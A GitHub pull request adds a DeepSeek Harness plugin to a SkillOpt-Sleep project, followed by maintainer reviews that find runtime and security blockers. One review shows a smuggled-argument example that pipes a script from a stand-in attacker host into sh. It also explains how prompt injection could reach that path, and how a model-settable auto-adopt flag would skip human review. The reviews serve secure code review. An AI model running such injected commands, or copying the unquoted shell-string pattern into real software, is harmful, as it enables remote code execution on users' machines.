Add DeepSeek Harness (dsh) integration to SkillOpt-Sleep plugins

[WODE25500]

What

Adds plugins/dsh/ - a DeepSeek Harness integration wrapping the shared
skillopt_sleep engine, following the same pattern as the existing
Claude Code / Codex / Cursor integrations.

DeepSeek Harness (dsh) is the "everything is a plugin" agent framework from
DeepSeek. Its plugins are TypeScript modules exporting apply(ctx) that
register capabilities on the Cordis context.

What's included

Component	Purpose
plugins/dsh/src/index.js	Cordis plugin registering 7 native tools: skillopt_status, skillopt_dry_run, skillopt_run, skillopt_adopt, skillopt_harvest, skillopt_schedule, skillopt_unschedule
plugins/dsh/cordis.patch.yml	bundle patch layer - add dsh-skillopt to any profile's bundles
plugins/dsh/skills/skillopt-sleep/SKILL.md	agent skill with operating rules and data-boundary rules
plugins/dsh/scripts/sleep.py	bootstrap/self-check runner (same command shape the tools use)
plugins/dsh/package.json	npm bundle manifest
plugins/dsh/README.md	install + config docs

The plugins/README.md integration table now lists DeepSeek Harness.

Design notes

• The tools call python -m skillopt_sleep <action> through the dsh ctx.shell
  executor, exactly the same engine and CLI surface the other integrations use.
• Config mirrors the shared flags (backend, source, model, maxTasks,
  maxSessions, editBudget, preferences, jsonOutput); advanced keys
  still live in the shared ~/.skillopt-sleep/config.json.
• Default mock backend = zero API spend for plumbing checks.
• adopt is the only live-change boundary; harvest is read-only.

Validation

• node --check on the plugin entry passes.
• python -m skillopt_sleep status and dry-run --backend mock run clean
  against this checkout (no provider calls).
• Tool argument ? command construction was exercised with a mocked dsh shell
  (explicit args override config defaults; --progress/--auto-adopt/--json
  flags append correctly).

Notes for maintainers

• The integration assumes the user has dsh installed and a Python 3.10+
  environment with the skillopt_sleep engine (same prerequisite as the other
  integrations).
• No changes to the shared engine; this is purely an additional wrapper in
  plugins/.

MIT - by contributing, I agree my contributions are licensed under the MIT License.

[WODE25500]

@microsoft-github-policy-service agree

[WODE25500]

Awesome appreciate you taking a look

[microsoft-github-policy-service]

WODE25500 the command you issued was incorrect. Please try again.

Examples are:

@microsoft-github-policy-service agree

and

@microsoft-github-policy-service agree company="your company"

[Yifan Yang (Yif-Yang)]

Thanks for adding this integration. I checked the current head against DeepSeek Harness v0.1.0-rc.8, and there are a few runtime/package blockers to address before this is mergeable:

• src/index.js:202-210 does not follow the ctx.shell contract. run() takes a resolved ShellExecSpec, so the call needs to be shell.run(shell.resolve({ ... })); bypassing resolve() skips the executor's workdir, output-cap, and sandbox defaults. Also, rc.8 returns stdout/stderr as CollectedOutput objects ({ text, truncated, spillPath }), not strings, so the current checks discard successful command output and render (no output). Please consume .text, preserve truncation/spill information, and cover nonzero/timeout/abort cases.
• buildCommand() concatenates model/config-controlled values directly into a Bash/PowerShell command. Ordinary paths or preferences containing spaces are split incorrectly, and shell metacharacters allow command injection. Please use a safe argv/encoding boundary for the actual platform and add Bash and pwsh tests for spaces, quotes, and metacharacters.
• The published bundle is incomplete: npm pack --dry-run omits cordis.patch.yml, while package.json#dsh.bundle.patch points to it. Please include the patch in files and declare @deepseek-ai/schemastery as a direct dependency because it is imported directly.

Please also add a clean-package canary against DSH rc.8 that loads the packed bundle and invokes at least skillopt_status, asserting real stdout and exit/error behavior; the current repository-only synthetic experiment does not exercise this plugin path.

[Yifan Yang (Yif-Yang)]

Thanks for this, and apologies for the slow first response.

First: I want to be clear that I verified DeepSeek Harness is real before reviewing. I was initially skeptical, but @deepseek-ai/cordis (4.0.1) and @deepseek-ai/dsh-tools both exist on npm under DeepSeek's real scope, and github.com/deepseek-ai/deepseek-harness resolves. The premise is sound and the integration is welcome.

The blockers are in src/index.js, and they're all the same root cause.

Blocker 1 — buildCommand joins argv into a shell string

plugins/dsh/src/index.js:80 ends with parts.join(' '), and the result goes to shell.run({command}) with no quoting anywhere. Every other plugin in this repo passes an argv list to subprocess.run without a shell — plugins/copilot/mcp_server.py:118, plugins/devin/mcp_server.py:109. This is the only integration that builds a string.

Two consequences, both of which I reproduced:

(a) Your own documented example is broken. cordis.patch.yml:18 shows preferences: 'Prefer pytest. Keep commits imperative.'. Running your buildCommand on it:

python -m skillopt_sleep run --preferences Prefer pytest. Keep commits imperative.

Five stray argv words. argparse will not accept this. The feature as documented cannot work.

(b) Command injection. project, model, preferences etc. are declared as model-facing tool parameters, so their values are chosen by the LLM at runtime, not just by the operator's config:

python -m skillopt_sleep adopt --project /tmp/x; curl attacker.sh | sh

sh parses that as two commands. A prompt-injected transcript is enough to reach it.

Fix: pass an array. If shell.run requires a string, quote every interpolated value.

Blocker 2 — autoAdopt is exposed as a model-callable parameter

index.js:128 declares autoAdopt as a boolean tool parameter and :133 forwards --auto-adopt. The staging/adopt split exists specifically so a human reviews before anything touches live files — skillopt_adopt's own description calls itself "the live-change boundary." Letting the model set autoAdopt lets it cross that boundary unattended. Please make auto-adopt operator-config-only, not a tool parameter.

Should fix — plugin registry

tests/test_plugin_sync.py:13 has a PLUGIN_SKILL_MDS registry driving three parity tests; dsh isn't in it, so this plugin is unverified by any test. Adding it there is a one-line change and gets you real coverage.

Minor

• SKILL.md and docs/README.zh.md are Chinese-only. Other plugins lead with English; a README.zh.md alongside an English original is the established pattern.

Suite on your branch: 1097 passed, 10 skipped, 130 subtests — no regressions, since nothing touches the shared engine.

The structure and the seven-tool surface are right. Fix the argv handling and the auto-adopt exposure and I'll merge this.